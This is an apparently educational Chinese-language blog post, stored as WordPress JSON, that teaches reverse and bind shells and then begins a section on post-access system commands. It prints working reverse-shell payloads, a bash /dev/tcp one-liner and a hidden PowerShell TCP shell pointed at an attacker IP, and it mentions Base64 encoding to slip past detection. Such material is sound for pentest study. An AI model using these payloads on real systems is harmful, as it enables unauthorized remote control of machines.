{"id":1664,"date":"2026-03-02T16:05:28","date_gmt":"2026-03-02T08:05:28","guid":{"rendered":"http:\/\/www.preluna.xyz\/?p=1664"},"modified":"2026-03-02T16:19:55","modified_gmt":"2026-03-02T08:19:55","slug":"9day","status":"publish","type":"post","link":"http:\/\/www.preluna.xyz\/index.php\/2026\/03\/02\/9day\/preluna\/text\/","title":{"rendered":"\u57fa\u7840\u5165\u95e8-\u53cd\u5f39Shell&\u6e17\u900f\u547d\u4ee4&Reverse\u53cd\u5411&Bind\u6b63\u5411&\u5229\u7528\u8bed\u8a00&\u6587\u4ef6\u4e0b\u8f7d&\u591a\u59ff\u52bf"},"content":{"rendered":"\n

\u53cd\u5f39Shell-\u9879\u76ee&\u547d\u4ee4&\u8bed\u8a00\u7b49<\/h2>\n\n\n\n

\u60f3\u8c61\u4e00\u4e0b\uff0c\u4f60\u88ab\u56f0\u5728\u4e00\u4e2a\u53ea\u80fd\u5411\u5916\u62e8\u6253\u7535\u8bdd\u7684\u623f\u95f4\u91cc\uff0c\u65e0\u6cd5\u63a5\u542c\u4efb\u4f55\u6765\u7535\uff0c\u4f46\u4f60\u53ef\u4ee5\u4e3b\u52a8\u62e8\u51fa\u7535\u8bdd\u8054\u7cfb\u5916\u754c\u3002\u5728\u7f51\u7edc\u5b89\u5168\u7684\u4e16\u754c\u91cc\uff0c\u53cd\u5f39Shell\uff08Reverse Shell\uff09\u6b63\u662f\u5229\u7528\u4e86\u7c7b\u4f3c\u7684\u903b\u8f91\uff1a\u5f53\u76ee\u6807\u673a\u5668\u7684\u9632\u706b\u5899\u4e25\u683c\u9650\u5236\u4e86\u5916\u90e8\u4e3b\u52a8\u8fde\u63a5\u7684\u8fdb\u5165\uff0c\u5374\u5141\u8bb8\u5185\u90e8\u7a0b\u5e8f\u4e3b\u52a8\u5411\u5916\u53d1\u8d77\u8fde\u63a5\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u8ba9\u76ee\u6807\u673a\u5668\u4e3b\u52a8\u201c\u62e8\u51fa\u7535\u8bdd\u201d\u5230\u653b\u51fb\u8005\u7684\u76d1\u542c\u7aef\u53e3\uff0c\u4ece\u800c\u5efa\u7acb\u4e00\u4e2a\u53ef\u4ea4\u4e92\u7684\u547d\u4ee4\u884c\u4f1a\u8bdd\u3002\u8fd9\u79cd\u6280\u672f\u5e7f\u6cdb\u5e94\u7528\u4e8e\u6e17\u900f\u6d4b\u8bd5\u3001\u7ea2\u961f\u6f14\u7ec3\u4ee5\u53caCTF\u6bd4\u8d5b\u4e2d\uff0c\u662f\u7a81\u7834\u8fb9\u754c\u9650\u5236\u3001\u83b7\u53d6\u8fdc\u7a0b\u63a7\u5236\u6743\u7684\u7ecf\u5178\u624b\u6bb5\u3002<\/p>\n\n\n\n

\u53cd\u5f39Shell\u5728\u6574\u4e2a\u653b\u51fb\u94fe\u8def\u4e2d\u901a\u5e38\u4f4d\u4e8e\u201c\u521d\u59cb\u8bbf\u95ee\u201d\u4e4b\u540e\uff0c\u653b\u51fb\u8005\u5df2\u7ecf\u5728\u76ee\u6807\u673a\u5668\u4e0a\u83b7\u5f97\u4e86\u4e00\u6b21\u4ee3\u7801\u6267\u884c\u7684\u673a\u4f1a\uff08\u6bd4\u5982\u901a\u8fc7\u6f0f\u6d1e\u6216\u793e\u5de5\uff09\uff0c\u6b64\u65f6\u9700\u8981\u5efa\u7acb\u4e00\u4e2a\u7a33\u5b9a\u7684\u3001\u53ef\u4ea4\u4e92\u7684\u901a\u9053\u6765\u6267\u884c\u540e\u7eed\u547d\u4ee4\u3002\u5b83\u66ff\u4ee3\u4e86\u4f20\u7edf\u6b63\u5411Shell\uff08\u76ee\u6807\u673a\u5668\u5f00\u653e\u7aef\u53e3\u7b49\u5f85\u8fde\u63a5\uff09\u7684\u77ed\u677f\uff0c\u56e0\u4e3a\u5f88\u591a\u7f51\u7edc\u73af\u5883\u4f1a\u5bf9\u5165\u7ad9\u6d41\u91cf\u8fdb\u884c\u4e25\u683c\u8fc7\u6ee4\uff0c\u800c\u51fa\u7ad9\u8fde\u63a5\u5f80\u5f80\u5bbd\u677e\u8bb8\u591a\u3002\u53cd\u5f39Shell\u7684\u6267\u884c\u8005\uff08\u76ee\u6807\u673a\u5668\uff09\u5c31\u50cf\u5ba2\u6237\u7aef\uff0c\u653b\u51fb\u8005\u7684\u673a\u5668\u626e\u6f14\u670d\u52a1\u7aef\uff0c\u4e8c\u8005\u901a\u8fc7TCP\uff08\u5076\u5c14\u4e5f\u7528UDP\u6216HTTP\uff09\u5efa\u7acb\u901a\u4fe1\uff0c\u5c06\u76ee\u6807\u673a\u5668\u7684\u6807\u51c6\u8f93\u5165\u3001\u8f93\u51fa\u548c\u9519\u8bef\u91cd\u5b9a\u5411\u5230\u7f51\u7edc\u5957\u63a5\u5b57\u4e0a\uff0c\u653b\u51fb\u8005\u4fbf\u80fd\u50cf\u5728\u672c\u5730\u7ec8\u7aef\u4e00\u6837\u64cd\u4f5c\u76ee\u6807\u3002<\/p>\n\n\n\n

\u4e3a\u4ec0\u4e48\u8fd9\u6837\u8bbe\u8ba1\uff1f\u6838\u5fc3\u601d\u60f3\u662f\u201c\u53cd\u5411\u201d\u4e8c\u5b57\uff1a\u8ba9\u5185\u7f51\u673a\u5668\u4e3b\u52a8\u8fde\u63a5\u5916\u7f51\uff0c\u7ed5\u8fc7\u9632\u706b\u5899\u7684\u5165\u7ad9\u89c4\u5219\u3002\u8fd9\u5229\u7528\u4e86\u7f51\u7edc\u8bbf\u95ee\u63a7\u5236\u7b56\u7565\u4e2d\u201c\u5bf9\u5916\u8fde\u63a5\u901a\u5e38\u6bd4\u5bf9\u5185\u8fde\u63a5\u66f4\u5bbd\u677e\u201d\u7684\u5e38\u89c1\u73b0\u8c61\u3002\u5177\u4f53\u5de5\u4f5c\u6d41\u7a0b\u5982\u4e0b\uff1a\u653b\u51fb\u8005\u5728\u81ea\u5df1\u7684VPS\u6216\u672c\u673a\u542f\u52a8\u4e00\u4e2a\u76d1\u542c\u5668\uff08\u6bd4\u5982\u7528Netcat\uff09\uff0c\u7b49\u5f85\u76ee\u6807\u8fde\u63a5\uff1b\u76ee\u6807\u673a\u5668\u6267\u884c\u4e00\u6761\u7cbe\u5fc3\u6784\u9020\u7684\u547d\u4ee4\uff0c\u8be5\u547d\u4ee4\u4f1a\u542f\u52a8\u4e00\u4e2ashell\uff08\u5982\/bin\/bash\u6216cmd.exe\uff09\uff0c\u5e76\u5c06\u5b83\u7684\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u653b\u51fb\u8005IP\u548c\u7aef\u53e3\u7684\u7f51\u7edc\u8fde\u63a5\u4e0a\uff1b\u4e00\u65e6\u8fde\u63a5\u5efa\u7acb\uff0c\u653b\u51fb\u8005\u53d1\u9001\u7684\u547d\u4ee4\u5c31\u4f1a\u5728\u76ee\u6807\u673a\u5668\u4e0a\u6267\u884c\uff0c\u7ed3\u679c\u8fd4\u56de\u7ed9\u653b\u51fb\u8005\u3002\u6574\u4e2a\u8fc7\u7a0b\u5bf9\u76ee\u6807\u7cfb\u7edf\u800c\u8a00\uff0c\u770b\u8d77\u6765\u5c31\u50cf\u4e00\u4e2a\u666e\u901a\u7a0b\u5e8f\u5728\u8bbf\u95ee\u5916\u90e8\u7f51\u7edc\u3002<\/p>\n\n\n\n

Mermaid \u56fe\u8868\uff1a\u53cd\u5f39Shell\u5efa\u7acb\u4e0e\u4ea4\u4e92\u6d41\u7a0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u5f20\u56fe\u5c55\u793a\u4e86\u53cd\u5f39Shell\u6700\u6838\u5fc3\u7684\u4ea4\u4e92\u8fc7\u7a0b\u3002\u5de6\u8fb9\u7684\u201c\u653b\u51fb\u8005\u673a\u5668\u201d\u5148\u901a\u8fc7Netcat\u4e4b\u7c7b\u7684\u5de5\u5177\u5728\u672c\u57304444\u7aef\u53e3\u4e0a\u542f\u52a8\u76d1\u542c\uff0c\u8fd9\u662f\u670d\u52a1\u7aef\u51c6\u5907\u3002\u53f3\u8fb9\u7684\u201c\u76ee\u6807\u673a\u5668\u201d\u5728\u83b7\u5f97\u4ee3\u7801\u6267\u884c\u673a\u4f1a\u540e\uff0c\u8fd0\u884c\u53cd\u5f39Shell\u547d\u4ee4\uff0c\u8be5\u547d\u4ee4\u4f1a\u8c03\u7528bash\u5e76\u5229\u7528\/dev\/tcp\u4f2a\u8bbe\u5907\u5411\u653b\u51fb\u8005IP\u76844444\u7aef\u53e3\u53d1\u8d77TCP\u8fde\u63a5\uff08\u5982\u679c\u662fWindows\u5219\u4f7f\u7528powershell\u6216\u5176\u5b83\u65b9\u5f0f\uff09\u3002\u7bad\u5934\u4eceVictim\u6307\u5411Attacker\u8868\u793a\u8fde\u63a5\u662f\u76ee\u6807\u4e3b\u52a8\u53d1\u8d77\u7684\u3002\u4e00\u65e6\u8fde\u63a5\u5efa\u7acb\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u901a\u8fc7\u8fd9\u6761\u901a\u9053\u53d1\u9001\u547d\u4ee4\uff0c\u76ee\u6807\u6267\u884c\u5e76\u8fd4\u56de\u7ed3\u679c\uff0c\u5f62\u6210\u53cc\u5411\u901a\u4fe1\u3002\u6574\u4e2a\u8fc7\u7a0b\u5b8c\u5168\u7531\u76ee\u6807\u4e3b\u52a8\u53d1\u8d77\u8fde\u63a5\uff0c\u56e0\u6b64\u5373\u4fbf\u76ee\u6807\u5728\u9632\u706b\u5899\u540e\u9762\uff0c\u53ea\u8981\u5141\u8bb8\u51fa\u7ad9TCP\uff0c\u653b\u51fb\u5c31\u80fd\u6210\u529f\u3002<\/p>\n\n\n\n

\u5b9e\u9645\u4e2d\u6700\u5e38\u7528\u7684\u53cd\u5f39Shell\u5b9e\u73b0\u5de5\u5177\/\u65b9\u5f0f\u5305\u62ecNetcat\u3001Bash\u3001PowerShell\u3001Python\u3001Perl\u3001PHP\u7b49\u3002Netcat\uff08nc\uff09\u662f\u6700\u7b80\u5355\u7684\uff0c\u4f46\u5f88\u591a\u7cfb\u7edf\u9ed8\u8ba4\u4e0d\u5b89\u88c5\u6216\u8005\u88ab\u9609\u5272\u4e86-e\u9009\u9879\uff1bBash\u7684\/dev\/tcp\u4f2a\u8bbe\u5907\u662fLinux\u4e0b\u7684\u539f\u751f\u65b9\u6cd5\uff0c\u4e0d\u9700\u8981\u989d\u5916\u5de5\u5177\uff0c\u4f46\u53d7\u9650\u4e8ebash\u7248\u672c\uff1bPowerShell\u662fWindows\u4e0b\u7684\u9996\u9009\uff0c\u529f\u80fd\u5f3a\u5927\u4e14\u5e38\u88ab\u5141\u8bb8\u6267\u884c\uff1bPython\u3001Perl\u3001PHP\u7b49\u811a\u672c\u8bed\u8a00\u5219\u63d0\u4f9b\u4e86\u8de8\u5e73\u53f0\u548c\u7075\u6d3b\u7f16\u7801\u7684\u4f18\u52bf\uff0c\u9002\u5408\u5728\u7279\u5b9a\u73af\u5883\u4e2d\u4f7f\u7528\u3002\u5b83\u4eec\u7684\u7279\u70b9\u5bf9\u6bd4\u5982\u4e0b\uff1aBash\u547d\u4ee4\u6700\u77ed\uff0c\u9002\u5408\u5feb\u901f\u6ce8\u5165\uff1bPython\u80fd\u63d0\u4f9b\u66f4\u7a33\u5b9a\u7684\u4ea4\u4e92\u5f0fTTY\uff1bPowerShell\u53ef\u4ee5\u7ed5\u8fc7\u6267\u884c\u7b56\u7565\u5e76\u8c03\u7528Win32 API\uff1b\u800cNetcat\u867d\u7136\u7b80\u5355\uff0c\u4f46\u5728\u73b0\u4ee3\u7cfb\u7edf\u4e2d\u8d8a\u6765\u8d8a\u4e0d\u53ef\u9760\uff0c\u5e38\u9700\u8981\u914d\u5408\u7ba1\u9053\u4f7f\u7528\u3002<\/p>\n\n\n\n

\u5728\u5178\u578b\u7684\u6e17\u900f\u6d4b\u8bd5\u9879\u76ee\u4e2d\uff0c\u53cd\u5f39Shell\u5e38\u7528\u4e8e\u83b7\u53d6\u521d\u59cb\u7acb\u8db3\u70b9\u540e\u7684\u6743\u9650\u63d0\u5347\u524d\u9636\u6bb5\u3002\u4f8b\u5982\uff0c\u5728\u4e00\u6b21Web\u5e94\u7528\u6e17\u900f\u6d4b\u8bd5\u4e2d\uff0c\u653b\u51fb\u8005\u901a\u8fc7\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u4e0a\u4f20\u4e86\u4e00\u4e2aPHP\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u7136\u540e\u5229\u7528\u8be5\u6728\u9a6c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u4f46\u547d\u4ee4\u6267\u884c\u529f\u80fd\u662f\u975e\u4ea4\u4e92\u5f0f\u7684\uff0c\u65e0\u6cd5\u6301\u7eed\u63a7\u5236\u3002\u6b64\u65f6\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u81ea\u5df1\u7684VPS\u4e0a\u8fd0\u884cnc -lvnp 9999<\/code>\uff0c\u7136\u540e\u901a\u8fc7\u6728\u9a6c\u6267\u884c\u53cd\u5f39Shell\u547d\u4ee4bash -i >& \/dev\/tcp\/\u653b\u51fb\u8005IP\/9999 0>&1<\/code>\uff0c\u51e0\u79d2\u540e\u76d1\u542c\u7aef\u5c31\u6536\u5230\u4e86\u4e00\u4e2a\u5b8c\u6574\u7684bash shell\uff0c\u63a5\u4e0b\u6765\u4fbf\u53ef\u4ee5\u5f00\u5c55\u5185\u7f51\u626b\u63cf\u3001\u63d0\u6743\u7b49\u64cd\u4f5c\u3002\u4e0b\u9762\u662f\u4e00\u4e2a\u7b80\u5355\u53ef\u590d\u5236\u7684\u914d\u7f6e\u793a\u4f8b\uff08\u5047\u8bbe\u653b\u51fb\u8005IP\u4e3a192.168.1.100\uff09\uff1a<\/p>\n\n\n\n

\u653b\u51fb\u8005\u76d1\u542c\u7aef\uff1a<\/strong><\/p>\n\n\n\n

nc -lvnp 4444<\/code><\/pre>\n\n\n\n
\u53c2\u6570\u89e3\u91ca\uff1a-l<\/code> \u8868\u793a\u76d1\u542c\u6a21\u5f0f\uff0c-v<\/code> \u8f93\u51fa\u8be6\u7ec6\u65e5\u5fd7\uff0c-n<\/code> \u4e0d\u8fdb\u884cDNS\u89e3\u6790\uff08\u52a0\u5feb\u901f\u5ea6\uff09\uff0c-p<\/code> \u6307\u5b9a\u76d1\u542c\u7aef\u53e34444\u3002<\/p>\n\n\n\n
\u76ee\u6807\u673a\u5668\u6267\u884c\uff08Linux\uff09\uff1a<\/strong><\/p>\n\n\n\n
bash -i >& \/dev\/tcp\/192.168.1.100\/4444 0>&1<\/code><\/pre>\n\n\n\n
\u8fd9\u6761\u547d\u4ee4\u5206\u89e3\u6765\u770b\uff1abash -i<\/code> \u542f\u52a8\u4e00\u4e2a\u4ea4\u4e92\u5f0f\u7684bash shell\uff1b>&<\/code> \u5c06\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\u4e00\u8d77\u91cd\u5b9a\u5411\u5230\u540e\u9762\u6307\u5b9a\u7684\u4f4d\u7f6e\uff1b\/dev\/tcp\/192.168.1.100\/4444<\/code> \u662fbash\u7684\u4e00\u4e2a\u7279\u6b8a\u6587\u4ef6\uff0c\u5b9e\u9645\u4e0a\u4f1a\u521b\u5efa\u4e00\u4e2aTCP\u8fde\u63a5\u5230\u6307\u5b9aIP\u548c\u7aef\u53e3\uff1b0>&1<\/code> \u5c06\u6807\u51c6\u8f93\u5165\u91cd\u5b9a\u5411\u5230\u6807\u51c6\u8f93\u51fa\uff08\u4e5f\u5c31\u662f\u7f51\u7edc\u8fde\u63a5\uff09\uff0c\u8fd9\u6837\u4e00\u6765\uff0c\u4ece\u7f51\u7edc\u8fde\u63a5\u8bfb\u53d6\u7684\u6570\u636e\u5c31\u4f1a\u6210\u4e3abash\u7684\u8f93\u5165\u3002\u6574\u4e2a\u547d\u4ee4\u5b9e\u73b0\u4e86\u8f93\u5165\u8f93\u51fa\u5168\u90e8\u901a\u8fc7\u7f51\u7edc\u4f20\u8f93\uff0c\u653b\u51fb\u8005\u5c31\u80fd\u8fdc\u7a0b\u63a7\u5236\u4e86\u3002<\/p>\n\n\n\n
\u5982\u679c\u76ee\u6807\u673a\u5668\u662fWindows\uff0c\u5e38\u7528\u7684PowerShell\u53cd\u5f39\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n\n\n
powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"<\/code><\/pre>\n\n\n\n
\u9010\u884c\u89e3\u91ca\uff08\u5b9e\u9645\u662f\u4e00\u884c\uff0c\u8fd9\u91cc\u4e3a\u4e86\u9605\u8bfb\u62c6\u5f00\uff09\uff1a\u521b\u5efa\u4e00\u4e2aTCPClient\u5bf9\u8c61\u8fde\u63a5\u5230\u653b\u51fb\u8005IP\u548c\u7aef\u53e3\uff0c\u83b7\u53d6\u7f51\u7edc\u6d41\uff1b\u5faa\u73af\u8bfb\u53d6\u653b\u51fb\u8005\u53d1\u9001\u7684\u547d\u4ee4\uff0c\u6267\u884c\uff08iex\uff09\u5e76\u6355\u83b7\u8f93\u51fa\uff0c\u7136\u540e\u5c06\u8f93\u51fa\u52a0\u4e0a\u5f53\u524d\u8def\u5f84\u63d0\u793a\u7b26\u540e\u5199\u56de\u7f51\u7edc\u6d41\u3002\u8fd9\u6bb5\u4ee3\u7801\u529f\u80fd\u5b8c\u5907\uff0c\u4f46\u975e\u5e38\u5197\u957f\uff0c\u5b9e\u9645\u4f7f\u7528\u4e2d\u7ecf\u5e38\u5c06\u5176\u7f16\u7801\u4e3aBase64\u4ee5\u7ed5\u8fc7\u4e00\u4e9b\u68c0\u6d4b\u3002<\/p>\n\n\n\n
\u6700\u5bb9\u6613\u8e29\u7684\u5751\u5305\u62ec\uff1a\u7f51\u7edc\u4e0d\u901a\uff08\u653b\u51fb\u8005\u673a\u5668\u9700\u6709\u516c\u7f51IP\u6216\u7aef\u53e3\u6620\u5c04\uff09\u3001\u9632\u706b\u5899\u51fa\u7ad9\u9650\u5236\uff08\u67d0\u4e9b\u73af\u5883\u4f1a\u9650\u5236\u975e\u6807\u51c6\u7aef\u53e3\u6216HTTP\/S\u6d41\u91cf\uff09\u3001shell\u4e0d\u7a33\u5b9a\uff08\u6bd4\u5982\u6ca1\u6709TTY\uff0c\u65e0\u6cd5\u6267\u884csu\u6216\u5168\u5c4f\u7a0b\u5e8f\uff09\u3001\u7f16\u7801\u9519\u8bef\u5bfc\u81f4\u4e71\u7801\u3001\u4ee5\u53ca\u88ab\u6740\u6bd2\u8f6f\u4ef6\u62e6\u622a\u3002\u6b63\u786e\u505a\u6cd5\u662f\u5148\u6d4b\u8bd5\u8fde\u901a\u6027\uff08\u6bd4\u5982\u7528ping\u6216curl\u786e\u8ba4\u51fa\u7ad9\uff09\uff0c\u7136\u540e\u6839\u636e\u76ee\u6807\u73af\u5883\u9009\u62e9\u5408\u9002\u7684\u53cd\u5f39\u65b9\u5f0f\uff0c\u76d1\u542c\u7aef\u6700\u597d\u4f7f\u7528rlwrap nc<\/code>\u6216socat<\/code>\u6765\u83b7\u5f97\u66f4\u597d\u7684\u4ea4\u4e92\u4f53\u9a8c\u3002\u9a8c\u8bc1\u65b9\u6cd5\u5f88\u7b80\u5355\uff1a\u76d1\u542c\u7aef\u770b\u5230\u8fde\u63a5\u5efa\u7acb\uff0c\u5e76\u80fd\u6267\u884c\u547d\u4ee4\u5982whoami<\/code>\u770b\u5230\u8fd4\u56de\u7ed3\u679c\u3002\u4e0b\u4e00\u6b65\u64cd\u4f5c\u5efa\u8bae\uff1a\u83b7\u5f97shell\u540e\u5e94\u7acb\u5373\u5347\u7ea7\u4e3a\u5b8c\u5168\u4ea4\u4e92\u5f0fTTY\uff08\u4f8b\u5982\u5728Linux\u4e0b\u4f7f\u7528python -c 'import pty;pty.spawn(\"\/bin\/bash\")'<\/code>\uff09\uff0c\u7136\u540e\u8fdb\u884c\u6743\u9650\u63d0\u5347\u6216\u6a2a\u5411\u79fb\u52a8\uff0c\u8fd9\u4e0e\u540e\u7eed\u7684\u5185\u7f51\u6e17\u900f\u6a21\u5757\u7d27\u5bc6\u8054\u52a8\u3002<\/p>\n\n\n\n
\u5728\u672c\u6a21\u5757\u4e2d\uff0c\u51b3\u7b56\u6307\u5357\u5982\u4e0b\uff1a\u5f53\u76ee\u6807\u673a\u5668\u80fd\u591f\u6267\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u4f46\u5916\u90e8\u65e0\u6cd5\u76f4\u63a5\u8fde\u63a5\u5176\u4efb\u4f55\u7aef\u53e3\u65f6\uff0c\u5fc5\u987b\u4f7f\u7528\u53cd\u5f39Shell\u3002\u5982\u679c\u76ee\u6807\u6709\u516c\u7f51IP\u4e14\u9632\u706b\u5899\u5141\u8bb8\u5165\u7ad9\u8fde\u63a5\uff0c\u6b63\u5411Shell\uff08\u76f4\u63a5\u76d1\u542c\u7aef\u53e3\u7b49\u5f85\u8fde\u63a5\uff09\u4f1a\u66f4\u7b80\u5355\u76f4\u63a5\uff1b\u5982\u679c\u76ee\u6807\u73af\u5883\u53ea\u6709HTTP\u51fa\u7ad9\uff08\u5982\u4f01\u4e1a\u4ee3\u7406\uff09\uff0c\u53ef\u4ee5\u8003\u8651\u4f7f\u7528HTTP\u96a7\u9053\u6216DNS\u96a7\u9053\u4f5c\u4e3a\u66ff\u4ee3\uff1b\u5982\u679c\u76ee\u6807\u6743\u9650\u6781\u4f4e\u4e14\u65e0\u6cd5\u542f\u52a8socket\uff0c\u53ef\u80fd\u9700\u8981\u901a\u8fc7\u66f4\u590d\u6742\u7684\u653b\u51fb\u94fe\u9010\u6b65\u63d0\u5347\u6743\u9650\u540e\u518d\u5c1d\u8bd5\u3002\u6b64\u5916\uff0c\u5728\u67d0\u4e9b\u5408\u6cd5\u8fd0\u7ef4\u573a\u666f\u4e2d\uff0c\u53cd\u5f39Shell\u4e5f\u53ef\u7528\u4e8e\u8fdc\u7a0b\u7ba1\u7406\uff08\u9700\u660e\u786e\u6388\u6743\uff09\uff0c\u4f46\u901a\u5e38\u60c5\u51b5\u4e0b\u5b83\u5c5e\u4e8e\u653b\u51fb\u6280\u672f\uff0c\u5e94\u4ec5\u5728\u6388\u6743\u6d4b\u8bd5\u4e2d\u4f7f\u7528\u3002\u603b\u4e4b\uff0c\u53cd\u5f39Shell\u662f\u7a81\u7834\u7f51\u7edc\u8fb9\u754c\u9650\u5236\u7684\u5229\u5668\uff0c\u4f46\u9700\u8981\u7ed3\u5408\u5177\u4f53\u73af\u5883\u9009\u62e9\u6700\u7a33\u5b9a\u7684\u5b9e\u73b0\u65b9\u5f0f\u3002<\/p>\n\n\n\n
\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4-\u7f51\u7edc&\u6587\u4ef6&\u64cd\u4f5c\u7b49<\/h2>\n\n\n\n
\u60f3\u8c61\u4e00\u4e0b\uff0c\u4f60\u8d39\u5c3d\u5468\u6298\u7ec8\u4e8e\u901a\u8fc7\u53cd\u5f39Shell\u8fdb\u5165\u4e86\u4e00\u53f0\u76ee\u6807\u670d\u52a1\u5668\uff0c\u4f46\u773c\u524d\u53ea\u6709\u4e00\u4e2a\u9ed1\u6f06\u6f06\u7684\u547d\u4ee4\u884c\u63d0\u793a\u7b26\uff0c\u4f60\u5c31\u50cf\u88ab\u8499\u4e0a\u773c\u775b\u6254\u8fdb\u4e86\u4e00\u4e2a\u964c\u751f\u623f\u95f4\uff0c\u5b8c\u5168\u4e0d\u77e5\u9053\u5468\u56f4\u6709\u4ec0\u4e48\u3002\u6b64\u65f6\u4f60\u6700\u8feb\u5207\u9700\u8981\u7684\u662f\u4ec0\u4e48\uff1f\u662f\u4e00\u53cc\u624b\u53bb\u89e6\u6478\u3001\u53bb\u611f\u77e5\u73af\u5883\uff1a\u7f51\u7edc\u901a\u5411\u54ea\u91cc\uff1f\u54ea\u4e9b\u6587\u4ef6\u6709\u4ef7\u503c\uff1f\u7cfb\u7edf\u91cc\u8fd0\u884c\u7740\u4ec0\u4e48\uff1f\u7528\u6237\u6743\u9650\u5982\u4f55\uff1f\u8fd9\u5c31\u662f\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u7684\u7528\u6b66\u4e4b\u5730\u2014\u2014\u5b83\u4eec\u662f\u5728\u83b7\u5f97\u521d\u59cb\u8bbf\u95ee\u540e\uff0c\u7528\u4e8e\u4fe1\u606f\u6536\u96c6\u3001\u6587\u4ef6\u64cd\u4f5c\u3001\u6743\u9650\u7ef4\u6301\u7b49\u4e00\u7cfb\u5217\u52a8\u4f5c\u7684\u201c\u624b\u201d\u548c\u201c\u773c\u201d\u3002\u5982\u679c\u8bf4\u53cd\u5f39Shell\u5e2e\u4f60\u6253\u5f00\u4e86\u95e8\uff0c\u8fd9\u4e9b\u547d\u4ee4\u5219\u8ba9\u4f60\u5728\u95e8\u5185\u81ea\u7531\u63a2\u7d22\uff0c\u4e3a\u540e\u7eed\u7684\u6743\u9650\u63d0\u5347\u3001\u6a2a\u5411\u79fb\u52a8\u751a\u81f3\u6e05\u9664\u75d5\u8ff9\u5960\u5b9a\u57fa\u7840\u3002<\/p>\n\n\n\n
\u5728\u6574\u4e2a\u653b\u51fb\u94fe\u4e2d\uff0c\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u5904\u4e8e\u201c\u521d\u59cb\u8bbf\u95ee\u201d\u4e0e\u201c\u6743\u9650\u63d0\u5347\u201d\u4e4b\u95f4\u7684\u5173\u952e\u4fa6\u5bdf\u9636\u6bb5\u3002\u5b83\u4eec\u4e0e\u53cd\u5f39Shell\u7d27\u5bc6\u534f\u4f5c\uff1a\u53cd\u5f39Shell\u63d0\u4f9b\u4e86\u4e00\u4e2a\u4ea4\u4e92\u5f0f\u547d\u4ee4\u6267\u884c\u901a\u9053\uff0c\u800c\u7cfb\u7edf\u6e17\u900f\u547d\u4ee4\u5219\u901a\u8fc7\u8fd9\u4e2a\u901a\u9053\u6e90\u6e90\u4e0d\u65ad\u5730\u5c06\u76ee\u6807\u7cfb\u7edf\u7684\u4fe1\u606f\u8fd4\u56de\u7ed9\u653b\u51fb\u8005\u3002\u653b\u51fb\u8005\u6839\u636e\u8fd4\u56de\u7684\u4fe1\u606f\u5236\u5b9a\u4e0b\u4e00\u6b65\u7b56\u7565\uff0c\u6bd4\u5982\u53d1\u73b0\u67d0\u4e2a\u670d\u52a1\u4ee5root\u6743\u9650\u8fd0\u884c\u4e14\u5b58\u5728\u6f0f\u6d1e\uff0c\u5c31\u4f1a\u8f6c\u5411\u63d0\u6743\u6a21\u5757\u3002\u8fd9\u79cd\u8bbe\u8ba1\u4e4b\u6240\u4ee5\u9ad8\u6548\uff0c\u662f\u56e0\u4e3a\u5b83\u5229\u7528\u4e86\u76ee\u6807\u7cfb\u7edf\u81ea\u5e26\u7684\u5408\u6cd5\u5de5\u5177\uff0c\u65e2\u907f\u514d\u4e86\u4e0a\u4f20\u7b2c\u4e09\u65b9\u5de5\u5177\u53ef\u80fd\u89e6\u53d1\u7684\u5b89\u5168\u544a\u8b66\uff0c\u53c8\u80fd\u5145\u5206\u5229\u7528\u64cd\u4f5c\u7cfb\u7edf\u7684\u539f\u751f\u529f\u80fd\u6765\u83b7\u53d6\u6df1\u5c42\u6b21\u4fe1\u606f\u3002<\/p>\n\n\n\n
\u8fd9\u4e9b\u547d\u4ee4\u7684\u5de5\u4f5c\u539f\u7406\u975e\u5e38\u6734\u7d20\uff1a\u653b\u51fb\u8005\u5728\u53cd\u5f39Shell\u4e2d\u9010\u6761\u8f93\u5165\u547d\u4ee4\uff0c\u76ee\u6807\u7cfb\u7edf\u7684Shell\u89e3\u91ca\u5668\uff08\u5982bash\u6216cmd\uff09\u8c03\u7528\u5bf9\u5e94\u7684\u53ef\u6267\u884c\u7a0b\u5e8f\uff0c\u6267\u884c\u540e\u5c06\u5176\u6807\u51c6\u8f93\u51fa\u901a\u8fc7TCP\u8fde\u63a5\u4f20\u56de\u653b\u51fb\u8005\u7aef\u3002\u4e3a\u4ec0\u4e48\u91c7\u7528\u8fd9\u79cd\u65b9\u5f0f\uff1f\u56e0\u4e3a\u6240\u6709\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u90fd\u5185\u7f6e\u4e86\u4e30\u5bcc\u7684\u547d\u4ee4\u884c\u5de5\u5177\uff0c\u5b83\u4eec\u672c\u5c31\u662f\u4e3a\u7ba1\u7406\u548c\u7ef4\u62a4\u800c\u8bbe\u8ba1\u7684\uff0c\u81ea\u7136\u4e5f\u80fd\u88ab\u653b\u51fb\u8005\u7528\u4e8e\u4fa6\u5bdf\u3002\u4f8b\u5982\uff0cnetstat<\/code>\u7528\u4e8e\u67e5\u770b\u7f51\u7edc\u8fde\u63a5\uff0cps<\/code>\u7528\u4e8e\u5217\u51fa\u8fdb\u7a0b\uff0cfind<\/code>\u7528\u4e8e\u641c\u7d22\u6587\u4ef6\u2014\u2014\u8fd9\u4e9b\u5de5\u5177\u7684\u8f93\u51fa\u683c\u5f0f\u7a33\u5b9a\u4e14